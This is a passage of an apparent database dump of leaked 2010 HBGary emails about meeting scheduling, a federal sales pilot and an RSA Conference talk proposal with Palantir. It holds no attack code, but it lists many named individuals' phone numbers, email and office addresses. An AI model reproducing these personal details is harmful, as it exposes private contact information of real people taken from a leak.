affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject of\r\nlegal privilege intended only for use by the intended recipient. If you are not\r\nthe intended recipient or the person responsible for&nbsp;&nbsp; delivering the\r\nmessage to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4726,'aaron_hbgary_com/4726.html'),(8305,'2010-07-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006447.M201096P14101Q3160.eml','\"Aaron Barr\" <aaron@hbgary.com>','What time is Vint Cerf talk?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI know it&#8217;s Tuesday, but what time?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject of\r\nlegal privilege intended only for use by the intended recipient. If you are not\r\nthe intended recipient or the person responsible for&nbsp;&nbsp; delivering the\r\nmessage to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11940,'aaron_hbgary_com/11940.html'),(8306,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006447.M439506P14101Q3161.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: What time is Vint Cerf talk?','It\'s in the evening. &nbsp;Let me find out. &nbsp;It\'s after 630.Sent from my iPhoneOn Jul 9, 2010, at 6:58 AM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nI know it’s Tuesday, but what time?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject of\r\nlegal privilege intended only for use by the intended recipient. If you are not\r\nthe intended recipient or the person responsible for&nbsp;&nbsp; delivering the\r\nmessage to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1844,'aaron_hbgary_com/1844.html'),(8307,'2010-07-09','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006447.M653892P14101Q3162.eml','aaron@hbgary.com','Out of Office Re: What time is Vint Cerf talk?','I am currently out of the office until Monday July 12.\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',7239,'aaron_hbgary_com/7239.html'),(8308,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006447.M899990P14101Q3163.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Out of Office Re: What time is Vint Cerf talk?','Who\'s going\r\nTo blackhat?\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 9, 2010, at 9:21 AM, \"Penny Leavy\"  wrote:\r\n\r\n> I am currently out of the office until Monday July 12.\r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n',15475,'aaron_hbgary_com/15475.html'),(8309,'2010-07-08','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297006448.M317728P14101Q3164.eml','aaron@hbgary.com','Alarm - Meet w/ Bob in SCIF','July 7, 2010 3:30 PM : Meet w/ Bob in SCIF \r\n',12724,'aaron_hbgary_com/12724.html'),(8310,'2010-07-09','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297006448.M615432P14101Q3165.eml','aaron@hbgary.com,aaron@hbgary.com,','Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nAs a follow up to our discussion of Social Media and some of\r\nyour application work, Mark and I discussed the potential for how it may\r\nsupport some of our programs.\r\n\r\n&nbsp;\r\n\r\nWe would like to get together in a SCIF with you.&nbsp; Mark\r\nis out next week, I&#8217;m gone for pieces of the next couple of weeks.\r\n\r\n&nbsp;\r\n\r\nDo you have any availability the week of 2 Aug?\r\n\r\n&nbsp;\r\n\r\nbob\r\n\r\n&nbsp;\r\n\r\nRobert Frisbie\r\n\r\nSenior Vice President\r\n\r\nManTech International\r\n\r\n7799 Leesburg Pike\r\n\r\nSuite 700 South\r\n\r\nFalls Church, VA 22043\r\n\r\n703 847-5193\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6356,'aaron_hbgary_com/6356.html'),(8311,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006448.M884833P14101Q3166.eml','\"Dizon, Ray\" <rdizon@mitre.org>','Re: MITRE intro','Sounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n\r\nAaron\r\n\r\nOn Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n\r\n> David, thanks, see you soon.\r\n> \r\n> Aaron,\r\n> \r\n> Be happy to catch up with you some time to chat about social media, etc.\r\n> \r\n> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n> \r\n> Ray\r\n> \r\n> \r\n> Ray Dizon\r\n> Director, Technology Transfer Office\r\n> The MITRE Corporation\r\n> N680\r\n> 7515 Colshire Drive\r\n> McLean, VA 22102\r\n> 703-983-7132\r\n> rdizon@mitre.org\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: David Etue [mailto:david@etue.net] \r\n> Sent: Thursday, July 08, 2010 9:07 AM\r\n> To: Aaron Barr; Dizon, Ray\r\n> Subject: MITRE intro\r\n> \r\n> Ray - looking forward to meeting this afternoon.  I wanted to provide a \r\n> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary \r\n> Federal.  Aaron and I have looked to do some work together around social \r\n> media security, and during our discussions he mentioned there was some \r\n> technology in MITRE around social media that may be available for tech \r\n> transfer.  I wanted to connect the two to discuss further.\r\n> \r\n> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.  \r\n> Before joining MITRE, he was an investor in Fidelis while at the \r\n> Maryland Venture Fund.  Beyond being the right person to talk to about \r\n> this particular opportunity, Ray is a great guy to know in the DC tech \r\n> community.\r\n> \r\n> I\'ll let you two connect directly from here.\r\n> \r\n> David\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',592,'aaron_hbgary_com/592.html'),(8312,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006449.M361072P14101Q3168.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','Re: EOP-- Executive Office of the President Pilot is moving forward','Brians a good guy, we worked together at Northrop. &nbsp;Brian is very well respected and very smart. &nbsp;Let me know if I can help in any way.AaronOn Jul 7, 2010, at 11:23 AM, Maria Lucas wrote:Contact\r\nBrian Christos - lead&nbsp;for malware analysis at EOP&nbsp;&nbsp;and is a contractor for CloudBurst\r\n&nbsp;\r\nProducts\r\nBrian&nbsp;has approval for (1) Responder Pro and it is in the procurement cycle..... he would like to have a long term evaluation copy in the meantime... same drill as TSA.. and gain some experience\r\n&nbsp;\r\nPilot Opportunity\r\nBrian has agreed to an Active Defense Pilot in August -- we cannot charge for the Pilot\r\nConference call scheduled August 3rd with Rich to outline scope of Pilot\r\nBrian is confident he will get CIO approval to pilot Production systems -- main concern is that we do not impact end user performance\r\nThere is no budget this year -- this is an evaluation for next year budget\r\nBased on results&nbsp; -- this can accelerate a 2010 purchase -- as an IR tool or full deployment\r\nBrian offered 2 weeks as a good pilot timeframe -- he expects we would be onsite for 2 days\r\n&nbsp;\r\nBlack Hat Meeting\r\nBrian would like to meet Greg for dinner at Blackhat if Greg is available?\r\n&nbsp;\r\nPenny there is no civilian agency so far that has the ability to pay for a Pilot -- they say it is not done....&nbsp; \r\n&nbsp;\r\nPenny will you approve a 60 day Responder Pro eval for Brian?&nbsp; Charles will need your approval :)\r\n&nbsp;\r\nThis is a great opportunity!!\r\n&nbsp;\r\nfyi Brian says he knows Aaron Barr\r\n&nbsp;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12405,'aaron_hbgary_com/12405.html'),(8313,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006449.M629620P14101Q3169.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: EOP-- Executive Office of the President Pilot is moving forward','Anything new on the USCERT meeting?On Jul 7, 2010, at 11:23 AM, Maria Lucas wrote:Contact\r\nBrian Christos - lead&nbsp;for malware analysis at EOP&nbsp;&nbsp;and is a contractor for CloudBurst\r\n&nbsp;\r\nProducts\r\nBrian&nbsp;has approval for (1) Responder Pro and it is in the procurement cycle..... he would like to have a long term evaluation copy in the meantime... same drill as TSA.. and gain some experience\r\n&nbsp;\r\nPilot Opportunity\r\nBrian has agreed to an Active Defense Pilot in August -- we cannot charge for the Pilot\r\nConference call scheduled August 3rd with Rich to outline scope of Pilot\r\nBrian is confident he will get CIO approval to pilot Production systems -- main concern is that we do not impact end user performance\r\nThere is no budget this year -- this is an evaluation for next year budget\r\nBased on results&nbsp; -- this can accelerate a 2010 purchase -- as an IR tool or full deployment\r\nBrian offered 2 weeks as a good pilot timeframe -- he expects we would be onsite for 2 days\r\n&nbsp;\r\nBlack Hat Meeting\r\nBrian would like to meet Greg for dinner at Blackhat if Greg is available?\r\n&nbsp;\r\nPenny there is no civilian agency so far that has the ability to pay for a Pilot -- they say it is not done....&nbsp; \r\n&nbsp;\r\nPenny will you approve a 60 day Responder Pro eval for Brian?&nbsp; Charles will need your approval :)\r\n&nbsp;\r\nThis is a great opportunity!!\r\n&nbsp;\r\nfyi Brian says he knows Aaron Barr\r\n&nbsp;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3705,'aaron_hbgary_com/3705.html'),(8314,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006449.M875272P14101Q3170.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>,\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: Accepted: EXTERNAL:Invitation: Social Media Discussions @ Mon Jul 19 10am - 11am (rj.shows@ngc.com)','I can do either right now.AaronOn Jul 6, 2010, at 8:52 AM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf we slipped this meeting to Tues or Wed of that week, that would allow a face-to-face where we might accomplish this &amp; more.&nbsp; We could meet in Herndon—or someplace mutually convenient if Herndon is out of the way. Best always, Bob\r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8999,'aaron_hbgary_com/8999.html'),(8315,'2010-07-09','\"Dizon, Ray\" <rdizon@mitre.org>','/aaron@hbgary.com/new/1297006449.M99333P14101Q3167.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: MITRE intro','Thursday the 15th is the better day, how about 2:00?\r\n\r\nRay\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 10:03 AM\r\nTo: Dizon, Ray\r\nSubject: Re: MITRE intro\r\n\r\nSounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n\r\nAaron\r\n\r\nOn Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n\r\n> David, thanks, see you soon.\r\n> \r\n> Aaron,\r\n> \r\n> Be happy to catch up with you some time to chat about social media, etc.\r\n> \r\n> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n> \r\n> Ray\r\n> \r\n> \r\n> Ray Dizon\r\n> Director, Technology Transfer Office\r\n> The MITRE Corporation\r\n> N680\r\n> 7515 Colshire Drive\r\n> McLean, VA 22102\r\n> 703-983-7132\r\n> rdizon@mitre.org\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: David Etue [mailto:david@etue.net] \r\n> Sent: Thursday, July 08, 2010 9:07 AM\r\n> To: Aaron Barr; Dizon, Ray\r\n> Subject: MITRE intro\r\n> \r\n> Ray - looking forward to meeting this afternoon.  I wanted to provide a \r\n> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary \r\n> Federal.  Aaron and I have looked to do some work together around social \r\n> media security, and during our discussions he mentioned there was some \r\n> technology in MITRE around social media that may be available for tech \r\n> transfer.  I wanted to connect the two to discuss further.\r\n> \r\n> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.  \r\n> Before joining MITRE, he was an investor in Fidelis while at the \r\n> Maryland Venture Fund.  Beyond being the right person to talk to about \r\n> this particular opportunity, Ray is a great guy to know in the DC tech \r\n> community.\r\n> \r\n> I\'ll let you two connect directly from here.\r\n> \r\n> David\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14928,'aaron_hbgary_com/14928.html'),(8316,'2010-07-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006450.M141148P14101Q3171.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: EOP-- Executive Office of the President Pilot is moving forward','Aaron\r\n \r\nGreat to know.  Brian also works with Dale at TSA.  This is all good.  As we get closer I&#39;ll let you know if we need help.  Would it help you to be involved with the Pilot for HBGary Federal business?\r\n \r\nMaria\r\nOn Fri, Jul 9, 2010 at 7:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBrians a good guy, we worked together at Northrop.  Brian is very well respected and very smart.  Let me know if I can help in any way. \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 7, 2010, at 11:23 AM, Maria Lucas wrote:\r\n\r\nContact\r\nBrian Christos - lead for malware analysis at EOP  and is a contractor for CloudBurst\r\n \r\nProducts\r\nBrian has approval for (1) Responder Pro and it is in the procurement cycle..... he would like to have a long term evaluation copy in the meantime... same drill as TSA.. and gain some experience\r\n \r\nPilot Opportunity\r\nBrian has agreed to an Active Defense Pilot in August -- we cannot charge for the Pilot\r\nConference call scheduled August 3rd with Rich to outline scope of Pilot\r\nBrian is confident he will get CIO approval to pilot Production systems -- main concern is that we do not impact end user performance\r\nThere is no budget this year -- this is an evaluation for next year budget\r\nBased on results  -- this can accelerate a 2010 purchase -- as an IR tool or full deployment\r\nBrian offered 2 weeks as a good pilot timeframe -- he expects we would be onsite for 2 days\r\n \r\nBlack Hat Meeting\r\nBrian would like to meet Greg for dinner at Blackhat if Greg is available?\r\n \r\nPenny there is no civilian agency so far that has the ability to pay for a Pilot -- they say it is not done....  \r\n \r\nPenny will you approve a 60 day Responder Pro eval for Brian?  Charles will need your approval :)\r\n \r\nThis is a great opportunity!!\r\n \r\nfyi Brian says he knows Aaron Barr\r\n \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n',5845,'aaron_hbgary_com/5845.html'),(8317,'2010-07-09','\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>','/aaron@hbgary.com/new/1297006450.M361639P14101Q3172.eml','aaron@hbgary.com,aaron@hbgary.com','Meeting HBGary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nGood morning. Just wanted to reach out and thank you for\r\ntaking the time yesterday and familiarizing myself and ManTech with HBGary&#8217;\r\ncapabilities. As a quick follow-up my contracts officer Wayne Hull will be\r\nreaching out to you with several opportunity specific NDA&#8217;s:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGatorbait\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUNO II\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNMEC Forensics\r\n\r\n\r\n\r\nLook forward to speaking with again in greater detail\r\n\r\n&nbsp;\r\n\r\nAll the best \r\n\r\nJustin\r\n\r\n&nbsp;\r\n\r\nJustin C. Mentzer\r\n\r\nManTech International Corporation\r\n\r\nMission, Cyber and Technology Solutions Group\r\n\r\nOffice 703.388.2122\r\n\r\nCell 703.483.1715\r\n\r\nFax 703.388.2148\r\n\r\nJustin.Mentzer@ManTech.com \r\n\r\n&nbsp;\r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n&nbsp;**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14802,'aaron_hbgary_com/14802.html'),(8318,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006450.M660945P14101Q3173.eml','\"Aaron Barr\" <adbarr@mac.com>','Fwd: RSA proposal','Sent from my iPadBegin forwarded message:From: Geoff Stowe &lt;gstowe@palantir.com&gt;\r\nDate: July 6, 2010 5:33:50 PM EDTTo: Matthew Steckman &lt;msteckman@palantir.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Eli Bingham &lt;ebingham@palantir.com&gt;, Shreyas Vijaykumar &lt;svijaykumar@palantir.com&gt;, Aaron Zollman &lt;azollman@palantir.com&gt;\r\nSubject: RE: RSA proposal\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n \r\n\r\nThanks for meeting with us today.  Here’s a starting\r\npoint based on what we talked about:\r\n\r\n \r\n\r\nRecent intrusions such as the Aurora incident show that motivated\r\nattackers with time and resources can compromise highly secure networks.  Protecting\r\ninformation from this new breed of adaptive adversaries requires tackling an\r\nintelligence problem:  who is the adversary, how do they operate, and what\r\ndo they want?\r\n\r\n \r\n\r\nHB Gary will draw on its vast experience analyzing malware to\r\nshow how attackers leave clues to their identity in the tools that they create. \r\nThis talk will focus on real examples of malware…  By bringing\r\ntogether binary disassembly and human-centric data sets inside the Palantir\r\nplatform, the speaker will show how small traces within malware can yield major\r\ninsight into its authors.\r\n\r\n \r\n\r\n \r\n\r\nHope this helps!\r\n\r\n \r\n\r\nGeoff\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\n\r\nSent: Tuesday, July 06, 2010 7:40 AM\r\nTo: Aaron Barr\r\nCc: Geoff Stowe; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: RE: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nCan you swing by our office to VTC with Geoff and I at Noon\r\ntoday?  Lunch on us of course J\r\n\r\n \r\n\r\n-Matt\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 06, 2010 9:38 AM\r\nTo: Matthew Steckman\r\nCc: Geoff Stowe; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nI am good today until about 1pm or tomorrow morning until\r\n1030.  Those are my cutoff times to make other meetings.  I think\r\nit&#39;s only a fee paragraphs so we should be able to pull it together pretty\r\nquickly as soon as we have the story.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ll give u a call.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 6, 2010, at 8:35 AM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nCall\r\nfor speakers is due this Friday: http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n\r\n \r\n\r\nWith\r\nthe tight deadline might I suggest a VTC either today or tomorrow. \r\nI’ll host you in Tyson’s, Palantir can join from Palo Alto, maybe\r\nyou could get a volunteer to drive to Palo Alto from Sacramento (or if they\r\nhave VTC we can dial them in)?\r\n\r\n \r\n\r\nLet\r\nme know what times might work.  We should get moving on this as the\r\ndeadline is looming.\r\n\r\n \r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n \r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, July 05, 2010 11:09 PM\r\nTo: Geoff Stowe\r\nCc: Matthew Steckman; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nI\r\nthink so.  Greg will be releasing at Blackhat this month a new fingerprinting\r\ntool where we can pull out common fingerprint variables from binaries very\r\nquickly.  That along with the work we are doing to develop more\r\nsophisticated fingerprints I think we could tell some good stories.  Lets\r\nmaybe get together and discuss our options here.  We are in the process of\r\nrevamping our interface for the threat monitoring center (TMC) which is our\r\nvolume malware processor which would allow us to go back and repull internals\r\nin large volume fairly quickly as we built out our visuals.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nJul 2, 2010, at 6:35 PM, Geoff Stowe wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust\r\nwanted to revive this thread. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n– do you think there are topics we could collaborate on?  When Aaron\r\nZollman and I met with Greg in Sacramento a few months ago, we talked about\r\nthings like looking for common indicators in your massive malware repository,\r\nand doing a deeper dive on some of the malware authors.  Either of those\r\ntopics would involve a fair amount of work, but we’d be willing to do\r\nsome of the heavy lifting on the backend if it would produce some cool results.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\n\r\nSent: Thursday, June 24,\r\n2010 1:45 PM\r\nTo: Aaron Barr\r\nCc: Eli Bingham; Shreyas\r\nVijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n·         Palantir and HBGary (and maybe SecDev) tag\r\nteam an RSA speakers submission (due July 9 btw) entitled something like,\r\n“Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the\r\nProblem Set” (horrible title I know)\r\n\r\n\r\n\r\n\r\n\r\n·         The goal here would be to take a technical\r\nproblem (maybe one of Greg’s or SecDev’s pet projects), present the\r\ntechnical findings in Part I of the prezo, then flip gears in Part II to\r\npresent it as an Intelligence problem (using Palantir for the presentation)\r\n\r\n\r\n\r\n\r\n\r\n·         We need to be careful to remove all\r\nmarketing language from the submission as they apparently don’t take\r\nkindly to that\r\n\r\n\r\n\r\n\r\n\r\n·         We obviously have a ton of time to do the\r\nwork which could be split between all of us (we could even set up a hosted\r\nPalantir instance to do the research a la Project Grey Goose)\r\n\r\n\r\n\r\n\r\n\r\n·         We would want to play up our Intel\r\ncommunity bona fides and your technical prowess/name brand\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMy 4 colleagues\r\nCCed and myself are basically all of Palantir’s “Cyber\r\nTeam”.  I’ll now open this thread up for comments.  If\r\nHBGary is in we can set up a quick brainstorming session.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13533,'aaron_hbgary_com/13533.html'),(8319,'2010-07-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006450.M889991P14101Q3174.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Re: Meeting','Sure. &nbsp;Right now Monday and Wednesday are wide open.AaronOn Jul 9, 2010, at 9:30 AM, Frisbie, Robert P wrote:Aaron&nbsp;As a follow up to our discussion of Social Media and some of your application work, Mark and I discussed the potential for how it may support some of our programs.&nbsp;We would like to get together in a SCIF with you.&nbsp; Mark is out next week, I’m gone for pieces of the next couple of weeks.&nbsp;Do you have any availability the week of 2 Aug?&nbsp;bob&nbsp;Robert FrisbieSenior Vice PresidentManTech International7799 Leesburg PikeSuite 700 SouthFalls Church, VA 22043703 847-5193&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15156,'aaron_hbgary_com/15156.html'),(8320,'2010-07-09','loginhelp@rsaconference.com','/aaron@hbgary.com/new/1297006451.M185169P14101Q3175.eml','aaron@hbgary.com','New RSA Conference Account','\r\nCongratulations Aaron,\r\n\r\nYou have successfully created an RSA Conference User Account with User ID:  adbarr \r\nYou can use your User Name and Password to access rsaconference.com sites.\r\n\r\nIf you need further assistance, please email at loginhelp@rsaconference.com\r\n\r\n--The RSA Conference Team\r\n\r\n',8030,'aaron_hbgary_com/8030.html'),(8321,'2010-07-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006451.M427937P14101Q3176.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: EOP-- Executive Office of the President Pilot is moving forward','I&#39;ve been calling and sending email but he hasn&#39;t responded -- I&#39;ll try again\r\nOn Fri, Jul 9, 2010 at 7:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nAnything new on the USCERT meeting? \r\n\r\n\r\n\r\nOn Jul 7, 2010, at 11:23 AM, Maria Lucas wrote:\r\n\r\n\r\n\r\n\r\nContact\r\nBrian Christos - lead for malware analysis at EOP  and is a contractor for CloudBurst\r\n \r\nProducts\r\nBrian has approval for (1) Responder Pro 